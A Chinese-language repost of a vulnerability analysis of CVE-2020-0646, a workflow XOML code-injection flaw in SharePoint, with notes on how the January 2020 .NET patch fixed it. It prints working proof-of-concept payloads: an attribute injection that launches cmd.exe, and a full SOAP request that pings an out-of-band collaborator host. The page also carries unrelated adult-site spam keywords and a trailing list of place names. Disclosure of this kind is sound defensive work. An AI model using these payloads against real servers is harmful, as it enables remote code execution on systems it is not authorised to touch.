中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行SharePoint中的遠程代碼執行漏洞分析

發布時間:2021-12-27 18:21:37 來源:億速云 閱讀:249 作者:柒染 欄目:安全技術

這篇文章給大家介紹如何進行SharePoint中的遠程代碼執行漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

2019年11月份,安全研究人員在微軟SharePoint Online的工作流中發現了一個代碼注入漏洞,并將其上報給微軟公司。攻擊者一旦成功利用該漏洞,將能夠在目標系統中實現遠程代碼執行。微軟在獲取到漏洞信息之后,第一時間修復了在線平臺上的相關漏洞,但是卻到2020年的1月份才修復.NET Framework中的相關問題。因此,如果你的SharePoint On-Rremise版本沒有安裝2020年1月份的.NET補丁,那你將仍然會受到該漏洞的影響。

需要注意的是,如果你的IIS配置支持.XOML擴展,那么在文件上傳時你同樣有可能受到該漏洞的影響。

CVE-2020-0646漏洞分析

在編譯XOML格式文件時,攻擊者可以利用System.Workflow.Activities命名空間中的某些參數來在SharePoint服務器上執行任意代碼。正是因為攻擊者能夠執行任意代碼,因此該漏洞也能被用來繞過Workflow編譯器的nocode選項。

下面的XOML文件顯示的是一個使用CallExternalMethodActivity類的樣例:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>

在編譯過程中,攻擊者可以將InterfaceType屬性的值注入到剛剛生成的C#臨時文件中:

…    private void InitializeComponent()    {        …        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);              …    }…

完成上述操作之后,攻擊者就可以繞過原函數并嘗試實現任意代碼執行了。值得一提的是,在上述例子中,當InterfaceType屬性受到影響時,其他String類型的屬性(例如MethodName)已正確驗證或轉義。

除此之外,CodeActivity類中的ExecuteCode參數同樣會受這種利用方式的影響,但是我們無法在SharePoint的在線版本中針對該參數進行利用和攻擊,只能適用于On-Premise版本。當然了,這里很可能還有其他的Activity類會受到潛在影響。

比如說,在下面的例子中,攻擊者使用了如下HTTP請求在SharePoint Online版本上執行了任意代碼:

POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1Date: Tue, 29 Oct 2019 14:26:21 GMTMIME-Version: 1.0Accept: */*SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjectsUser-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)Host: [REDACTED].sharepoint.comAccept-Language: en-us, en;q=0.1Accept: auth/sicilyX-FORMS_BASED_AUTH_ACCEPTED: TContent-Type: text/xml; charset=utf-8X-Vermeer-Content-Type: text/xml; charset=utf-8Accept-encoding: gzip, deflateConnection: Keep-AlivePragma: no-cacheContent-Length: 1031Cookie: [REDACTED]<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">  <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>

攻擊完成之后,我們就可以查看到主機需要解析的對應DNS名稱了:

如何進行SharePoint中的遠程代碼執行漏洞分析

除此之外,攻擊者同樣可以利用上述請求來利用On-Premise版本中的漏洞并實施攻擊。

安裝了漏洞CVE-2020-0646的補丁之后,SharePoint的工作流將會檢查所有的XML元素及屬性,以確保它們只包含有限數量的合法字符。因此,當使用所選的nocode選項時,攻擊者將無法在默認配置中向生成的C#代碼注入任意代碼了。

關于如何進行SharePoint中的遠程代碼執行漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

潮州市| 安远县| 株洲市| 桃源县| 五家渠市| 行唐县| 西峡县| 远安县| 柞水县| 廊坊市| 拜泉县| 乌海市| 汾西县| 德清县| 灌云县| 石台县| 油尖旺区| 富源县| 十堰市| 长葛市| 塔河县| 手游| 仲巴县| 河南省| 永善县| 自贡市| 永济市| 安福县| 恩平市| 剑川县| 五家渠市| 论坛| 建平县| 隆化县| 和顺县| 德惠市| 怀安县| 宜丰县| 阳城县| 湾仔区| 邵阳县|